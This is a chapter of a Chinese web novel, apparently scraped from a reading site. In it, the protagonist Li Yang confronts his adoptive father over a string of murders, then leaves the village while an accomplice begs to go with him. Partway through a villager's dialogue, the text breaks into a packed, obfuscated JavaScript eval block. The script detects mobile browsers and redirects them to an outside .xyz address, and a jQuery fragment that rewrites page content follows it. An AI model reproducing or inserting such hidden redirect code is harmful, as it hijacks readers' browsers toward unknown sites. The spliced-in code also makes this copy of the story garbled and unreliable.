“谁!是谁在那!”突如其来的推门声,让王金贵十分心悸,情不自禁地往后缩了缩身子,他抱着双臂瑟瑟发抖,空气中莫名添了点冷意,见始终没有动静,王金贵冲着那个方向怒喊道:“到底是谁在那,给我出来!”
来人的身影,随着光线划过,暴露在视线里,历烊挥动长袖,拂去空气中飞扬的灰尘,眉心紧蹙,那道视线冰冷,他抿唇笑称:“是我啊,爹——,是我回来了。”
这句爹,无疑是在把王金贵架在火上烤。
“你!”王金贵看到他大惊失色,手指着历烊,王金贵憋在心里的那口气上不去,也下来不了:“你别过来,你到底是人还是鬼!”他被自己的口水呛到,接连好几声道咳嗽。“咳咳——”
“我是长生啊——”历烊话没落地,就让打断。
“胡扯!”王金贵的脸因为愤怒,红得发黑,看起来已经没多少时候,他拍打胸口往下顺气:“你的目的是什么!”
“我会变成如今这样,应该都是你,在背后搞得鬼!”王金贵补充道,视线不可避免带上狠毒。他的直觉一向很准,见历烊自然地坐到床沿,王金贵的眼神跟刀子一样扫过来。
历烊啧啧出声,目光带着挑衅的意味,王金贵涨着一肚子气,手刚摸到枕头底下,历烊的视线,刚好捕捉到他的小动作。
王金贵的眼神变得无所畏惧,动作很是迅速,抽出菜刀瞬间就是劈了过来,历烊眼都不眨一下,一道金色的屏障闪着光芒,咣当重响,那股力气反弹,震得王金贵手麻,菜刀直接飞了出去,镶嵌进墙壁内。
眼球转动间,他瞥见那菜刀跟长了眼睛似的,飞过来的方向,正和自己脑袋,仅有一寸的距离,王金贵吓得张开嘴,控制不住身体颤栗:“是你,都是你搞得鬼!”他的喃喃自语声,不大也不小。
历烊看着倒是气定神闲,只是说话都带上微不可查的怒气:“我早该杀了你的,那些条无辜的人命,也就不至于交代在你的手里。”
一想到那天的情形,那些个死状凄惨的人,历烊没控制住杀意,没等着他动手,王金贵顿时瞳孔瞪大,张大着嘴,艰难得吐出气:“救!救命呃……”
王金贵的眼里写满恐慌,仿佛看见了什么可怕的东西,假慈悲的泪水说下就下,他的手指关节攀扯,触碰到历烊的瞬间,眼前视线一晃,瞥清楚历烊手里,那正拿着的东西时,眼泪挣扎从眼眶里不停溢出。
“啊……,啊呃!”
王金贵打着冷颤的身子摇摇晃晃,手颤抖着伸直,身体如同被浇灌后的泥塑般,一动不动,就在呼吸到空气的那一刻,他大口喘气,手却不忘想着去争抢历烊手里的东西。
得手的片刻,王金贵还没来得及高兴,那本册子化为灰烬,从他的十指间流失,隐约烧起的火星子吓得他整个人大叫起来:“啊!啊啊……”
历烊使出的把戏,足以让对方信以为真,王金贵变得神经兮兮,那双眼眶发红死死盯着历烊,咬牙切齿:“是你!一定是你在背后搞的鬼,我杀了你!”
王金贵的狠话说着,却还是奈何不了对方什么,他的眼神转变为哀求,手脚并用爬着躲远,现在的王金贵,跟昔日自己手下,那案板上待宰的畜生没差。
“你到底想干什么,已经被你害死了这么多人,害死我们,对你到底有什么好处!”王金贵的哭腔发自内心。
王金贵说得理所应当,果然,做错事的人,永远都不会觉得是自己做错,他的谴责,愧对于那些死去的人,可王金贵就是能做到,一副问心无愧的样子。
历烊手里的东西,他在眼熟不过,明明那东西,自己已经亲手烧了,怎么会,怎么还会回来!
什么牛鬼神蛇,他通通不信,王金贵见东西还在对方的手里,伸手就又是抢过来,翻开的瞬间,肉眼可见,脸色逐渐变得铁青:“是你们!你俩一起做局害的我!”
先前王金贵烧掉的那一份,证据并不完全,然而这次历烊拿出手的这份,可比先前的,都来得充足。王金贵先入为主,马上就想到王成才的身上,那小子利用自己的信任,出卖了自己!
历烊没准备解释,王成才死活不承认,他根本没心思同对方拉扯,毕竟历烊真心想要的,通常都只需要一些手段下去,他王成才就算不想拿出来,都难。
有这证据在手,不愁无法让王金贵等人付出代价,历烊不会让他死得太痛快,在自己禀明圣上前,王金贵还不能死。
王金贵用手握得紧紧的,可那证据还是从手里消失,他是怎么着也没办法,历烊看着他无动于衷:“你要是想要,我可以把它给你,但至于你护不护得住,那就是你自己的问题。”
“长生,你不能这么对我!长生!”王金贵拉着他叫道。
历烊的手放下,再次抬起的瞬间,王金贵想不注意到都难。
王金贵所看见的,是那堆熟悉的骸骨,一时之间,他的胃里直接涌起一阵翻江倒海,王金贵忍不住干呕,因为长期未进食,他的体型削瘦,一副枯瘦憔悴的模样,比原先看着,还要老了不止一星半点。
“眼熟吗?这些骨头……”历烊说得轻巧,态度却也十分认真:“你亲手埋下,我又亲手挖出来的。”
乳白色的头骨,腿骨轮廓清晰,刚埋到地下不久,腐蚀的程度不算太严重,甘子那张眼熟的脸,和临死前的样子重叠,浮现在脑海里,王金贵吓得双臂挡在身前,大叫着:“不是我!是他背叛我在前,是他自作自受!”
“死到临头你还真是嘴硬!”历烊寒声道:“你但凡还有点良知,就会看到白骨累累,你踩在尸山血海上,看着别人家破人亡,王金贵,你唯利是图,千刀万剐也死不足惜!”
“你懂什么——”王金贵面目可憎,他的唇色发白,哆嗦着嘴唇:“该死的人是他们不是我!你又有什么资格这么对我说话,是我养你养得这么大!”
历烊没控制住自己,大手一挥,王金贵直接后背撞在墙上,历烊的眼睛红得快要滴血,那股愤怒席卷全身,他说话时的声音远盖过王金贵的嗓门:“没有你,我何苦会双亲尽失。”
王金贵拉过他的手,抢话:“不是这样的儿子,不是这样的长生,你听我说——”
“放心,你们的下场不会好过甘子!”历烊拉过他的手下拉,眼里的坚决不似作假:“而你,暂时还死不了,王金贵,我会让你,慢慢的赎罪!”
眼看历烊要走,他的身后,王金贵叫得大声,半个身子探出,眼看就要从炕上摔下来:“你不能这么对我,长生!我可是你爹,你不能丢下我,你不能让我一个人在这等死,你走了,我怎么办!”
他眼神痛苦,在看见历烊停下脚步,眼里重新燃起希望的火苗:“长生,你别丢下我,我养你养得这么大,我是你爹啊,我发誓,以后再也不干那些事了,你带我一起走,不要把我一个人丢在这!”
历烊侧过脸,屋外的光线停在他的面前,他的半张脸,都掩盖在阴影下:“谁说的,你会是一个人?”
王金贵愣着张脸,没等他开口,趁着房门关上的空档,他的面前历烊的身后,出现了一个长相青面獠牙的鬼怪,叫声被隔绝在身后,历烊走得决绝,屋外的王长生见他出来,跟了上去。
“就这样便宜他一段时间?”王长生的怨气稍加消散,已经没有初次见面时来得过激。
背上的包袱消失,历烊立在那,目光落在远处满是冷淡:“那些鬼魂是不会就这么放过他的,同时,也不会让他好过……,王金贵有罪,自有公道正义惩处,走吧,我们也该去走,那本该是你走的路。”
村里附近老些人,看到他要走时都过来了,村民自发送他到村口,历烊看着叫不出名字的这些人,那些寒暄的话堵在嘴边,到底没说得出口。
这里的人心不坏,他们对王金贵等人的恶行了然于心,但都还是选择睁一只眼闭一只眼,保全自己的同时,也不想牵扯到自身。
历烊心知,自己这一去,怕是以后再也不会回这里,大义灭亲……,他们日后的嘴脸会是怎样,历烊也不愿再去多想,他笑着看向村民们,嘴唇紧抿住。
“王大好端端的,怎么就病了,这一病,也不知道啥时候能好,长生都要走了,这当爹的连点表示都没有。”
“老糊涂了吧你,上次见王大,他不就病得严重,叫他去看大夫也不去,生怕我们会害他似的。”
听历烊说王金贵病得严重,大夫都说了可能还会传染,那些个村民只好歇了去看他的心,拉住历烊的手都在道他孝顺。
“还是长生有出息啊,王大这病的,要不然也能跟着一起去京城里享清福,长生这都要走了,还劳烦请人帮看着,放心,你爹他但凡有啥,我们再给你传信。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803961|174424||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多好一孩子啊,就是说。”
“各位叔伯婶子,俺爹身子不好,大夫说了要静养,长生这一去,尽快就来接他老人家过去养老,我爹要有啥,还麻烦大家了。”
历烊说完,抹掉眼下莫须有的眼泪,作揖行礼,态度恭顺恳切。
那抹身影远离视线,身边跟着那缕游魂看着不断变小的村庄,眼睫下垂闭上双眼,黑色的布条浮现,覆盖住王长生的双眸。
“王长生!”一道急切的声音叫住他们,王长生的魂魄隐去,历烊回头见来人是王成才,脸色秒变得不好。
王成才的行动不便,他拖着脚步想去拉扯历烊的手,却被躲开,王成才的右手缠着绷带,强压着泪水眼神无助又慌张:“你不能丢下我,长生,我当时会这么做,也都是为了我们,我不能入赘到林家,你带我走,我错了,我求你长生。”
王成才说话很快,佝偻着腰,已然没有那副精气神,他的双眼疲惫不堪,面容尽显憔悴,一听对方要走的消息,王成才赶快追了出来,他一路躲藏,跟了历烊半天才追上。
如今他的右手已废,又因为伤的地方太过隐秘,已然不能人道,王家收了林家的礼,入赘已经是板上钉钉的事实,王成才是不愿,也不想再进林家的门。
前些日子林家夫人卒中,林老爷在赶回家的途中偶遇山贼遇险,林家现在是林秋在当家做主,挑起大梁,王成才简直不敢相信,自己一旦进了林家的大门,林秋会怎么磋磨自己。
“你要我干什么都行,证据我都给你了,你不能就这么抛弃我!”王成才艰难地挪动脚步,挡在历烊的身前,他的腰杆弯下去,死活不肯让开:“你带我走,我可以给你作证!”
王成才想逃跑,可他腿脚不便又能去哪,他只能想到对方,所有不惜将主意,打到昔日的情分上。
“和林家的婚事,不是你最大的指望吗,林秋都能不计前嫌招你入赘,王成才,你还有什么不满足的?”历烊的表情戏谑,正说着,往他的伤口上瞟了一眼。
至于林秋会怎么报复,那是他们小两口关起门来的事,这个婚事王家推托不了,王成才如今废人一个,王家还巴不得林家好接手。
王成才摇头,视线时不时看向身后有没有人追来,一想到以后,他的眼里没了那一丝波澜,林秋睚眦必报,他绝对不能回去!
“你让我跟你走,林秋她会杀了我的,她想要的可是我的命,长生,你不能对我见死不救!”王成才语气焦灼,人也摇摇欲坠,那对浑浊的眼珠子里透出死气,麻木。
历烊推开王成才就想走,他答应过林秋,王成才在这段时间里,会付出怎样代价,那就要看林秋了。
“你不能走!”见王成才仍跟块狗皮膏药一样,历烊冷笑一声,说话直往对方的心里扎刀子:“王成才,你见死不救的还少吗?比起你,我可仁至义尽得太多了。”
那声音里都是冷漠,看着王成才的右手,历烊没忍住继续落井下石:“你跟王金贵同流合污的时候,可曾想过给死者一个交代?你也别把自己说得有多深明大义,你们一个个,都逃不掉,至于你,还能不能活着到真相大白的一天,那就要看你自己的本事了!”
王长生的灵魂一直都飘在他们附近,他看不到情景,却能清楚听到他们的对话,王长生的手缓慢攥紧,他不愿看到也不想听到,这个昔日同窗知己的忏悔。
“大人,我们走吧!”
没走出几步,身后王成才的叫声尖锐刺耳,林家的仆人匆匆赶到,看见历烊,对他行了个礼,然后不由分说地,就将这个未来的“林家姑爷”抓回王家,等待再过不久,成亲的那一天。
“放开我啊啊!长生救我!”风水轮流转,看着王成才被像条死狗一样拖走,历烊假装没看到。
“恩公慢走,这是我们家小姐,专门托我们转交给您的,姑爷我们这就带走。”林秋恩怨分明,托下人转交的,是一些盘缠。
“……”
远望群山林立交错,那身影背挺如松,单手背在身后,梅雨季节湿漉漉,天上适当的下起零星小雨,历烊手指修长向下打转,凭空生出把油纸雨伞,伞面撑开罩在两人头顶,那身黑色劲装携亡魂而走。
王长生睁开双眼,视线受遮挡而山间朦胧,他的泪珠顺着眼前,鼻背间缝隙滑落。诸事所谓的邢律公道,当真能洗清这不白怨地?